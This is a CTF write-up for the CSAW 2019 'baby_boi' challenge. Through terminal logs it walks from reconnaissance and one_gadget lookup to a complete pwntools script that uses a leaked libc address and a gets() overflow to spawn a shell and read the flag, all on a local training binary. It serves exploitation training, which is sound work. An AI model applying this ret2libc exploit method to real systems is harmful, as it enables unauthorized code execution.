Csaw 2019 babyboi

Downloading the binary file


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi

baby_boi                          100%[==========================================================>]   8.41K  --.-KB/s    in 0.001s

2021-03-06 15:19:56 (16.1 MB/s) - ‘baby_boi’ saved [8608/8608]


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi.c

baby_boi.c                        100%[==========================================================>]     274  --.-KB/s    in 0s

2021-03-06 15:20:10 (27.1 MB/s) - ‘baby_boi.c’ saved [274/274]


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/libc-2.27.so

libc-2.27.so                      100%[==========================================================>]   1.94M  2.79MB/s    in 0.7s

2021-03-06 15:20:19 (2.79 MB/s) - ‘libc-2.27.so’ saved [2030544/2030544]


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ chmod +x baby_boi

Solution

first let's run the binary to see what it does:


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f158ee88590
ok

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f7090800590
hello

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./baby_boi
Hello!
Here I am: 0x7f4a5ed57590
bye

The binary basically outputs some text, then it lekas some memorya ddress, and then lets us put in some text. Let's run pwn checksec on it and check what are the other files about:


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ pwn checksec baby_boi
[*] '/home/nothing/binexp/2/bboi/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ cat baby_boi.c
#include 
#include 

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./libc-2.27.so
zsh: permission denied: ./libc-2.27.so

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ chmod +x libc-2.27.so

[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ ./libc-2.27.so
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!


Now here we see that the binary just prompts us for text, and looking at the sourcecode, we see that it prints the libc address for printf. After that, it makes a gets call on a fixed size buffer of 32 bytes (0x20 bytes) so this means that we have a buffer overflow. We also see that the libc version is 2.27 The only binary protection that we have is NX.

To exploit this, we will use the buffer overflow vulnerability we just mentionned, and then we will call a oneshot gadget, which is a single ROP gadget in the libc library that will call execve("/bin/sh") given the right conditions, we find this using the one_gadget utility:


[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
→ sudo pacman -S rubygems
[sudo] password for nothing:
warning: rubygems-3.2.13-1 is up to date -- reinstalling
resolving dependencies...
looking for conflicting packages...

Package (1)     Old Version  New Version  Net Change

extra/rubygems  3.2.13-1     3.2.13-1       0.00 MiB

Total Installed Size:  0.92 MiB
Net Upgrade Size:      0.00 MiB

:: Proceed with installation? [Y/n] y
(1/1) checking keys in keyring                                                  [----------------------------------------------] 100%
(1/1) checking package integrity                                                [----------------------------------------------] 100%
(1/1) loading package files                                                     [----------------------------------------------] 100%
(1/1) checking for file conflicts                                               [----------------------------------------------] 100%
(1/1) checking available disk space                                             [----------------------------------------------] 100%
:: Processing package changes...
(1/1) reinstalling rubygems                                                     [----------------------------------------------] 100%
:: Running post-transaction hooks...
(1/1) Arming ConditionNeedsUpdate...

[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
→ gem install one_gadget
Fetching one_gadget-1.7.4.gem
Fetching bindata-2.4.8.gem
Fetching elftools-1.1.3.gem
WARNING:  You don't have /home/nothing/.local/share/gem/ruby/2.7.0/bin in your PATH,
          gem executables will not run.
Successfully installed bindata-2.4.8
Successfully installed elftools-1.1.3
Successfully installed one_gadget-1.7.4
3 gems installed

Here for some reason the binary to run one_gadget isn't in my $PATH so i have to make a symlink to it:


[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ sudo updatedb;locate one_gadget | grep 'gadget$'
/home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/bin/one_gadget
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/lib/one_gadget

[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
Usage: one_gadget  [options]
    -b, --build-id BuildID           BuildID[sha1] of libc.
    -f, --[no-]force-file            Force search gadgets in file instead of build id first.
    -l, --level OUTPUT_LEVEL         The output level.
                                     OneGadget automatically selects gadgets with higher successful probability.
                                     Increase this level to ask OneGadget show more gadgets it found.
                                     Default: 0
    -n, --near FUNCTIONS/FILE        Order gadgets by their distance to the given functions or to the GOT functions of the given file.
    -r, --[no-]raw                   Output gadgets offset only, split with one space.
    -s, --script exploit-script      Run exploit script with all possible gadgets.
                                     The script will be run as 'exploit-script $offset'.
        --info BuildID               Show version information given BuildID.
        --base BASE_ADDRESS          The base address of libc.
                                     Default: 0
        --version                    Current gem version.

[ 192.168.0.18/24 ] [ /dev/pts/21 ] [~]
→ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin

[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ sudo ln -s  /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget /usr/local/bin/one_gadget

[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ zsh

[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
→ one_gadget
Usage: one_gadget  [options]
    -b, --build-id BuildID           BuildID[sha1] of libc.
    -f, --[no-]force-file            Force search gadgets in file instead of build id first.
    -l, --level OUTPUT_LEVEL         The output level.
                                     OneGadget automatically selects gadgets with higher successful probability.
                                     Increase this level to ask OneGadget show more gadgets it found.
                                     Default: 0
    -n, --near FUNCTIONS/FILE        Order gadgets by their distance to the given functions or to the GOT functions of the given file.
    -r, --[no-]raw                   Output gadgets offset only, split with one space.
    -s, --script exploit-script      Run exploit script with all possible gadgets.
                                     The script will be run as 'exploit-script $offset'.
        --info BuildID               Show version information given BuildID.
        --base BASE_ADDRESS          The base address of libc.
                                     Default: 0
        --version                    Current gem version.


Now that's done, let's run one_gadget on the libc library:


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

So here we see that we can leverage the libc infoleak with the printf statement to the libc printf which we know the libc version, we know the address space of the libc. For which onegadget to pick, it's usually trial and error to see what conditions will work. So let's make our exploit as follows:


[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
→ vim exploit.py


from pwn import *

# Establish the target
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')

print(target.recvuntil("ere I am: "))

# Scan in the infoleak
leak = target.recvline()
leak = leak.strip(b"\n")

base = int(leak, 16) - libc.symbols['printf']

print("wooo:" + hex(base))

# Calculate oneshot gadget
oneshot = base + 0x4f322

payload = b""
payload += b"\x00"*0x28         # Offset to oneshot gadget
payload += p64(oneshot)     # Oneshot gadget

# Send the payload
target.sendline(payload)

target.interactive()

Now execute it and we see the following:


[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/bboi]
→ python3 exploit.py
[+] Starting local process './baby_boi': pid 540529
[*] '/home/nothing/binexp/2/bboi/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Hello!
Here I am:
wooo:0x7fedeb22e012
[*] Switching to interactive mode
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}

And that's it! we have been able to spawn a shell and print out the flag.

Title

text


Title

text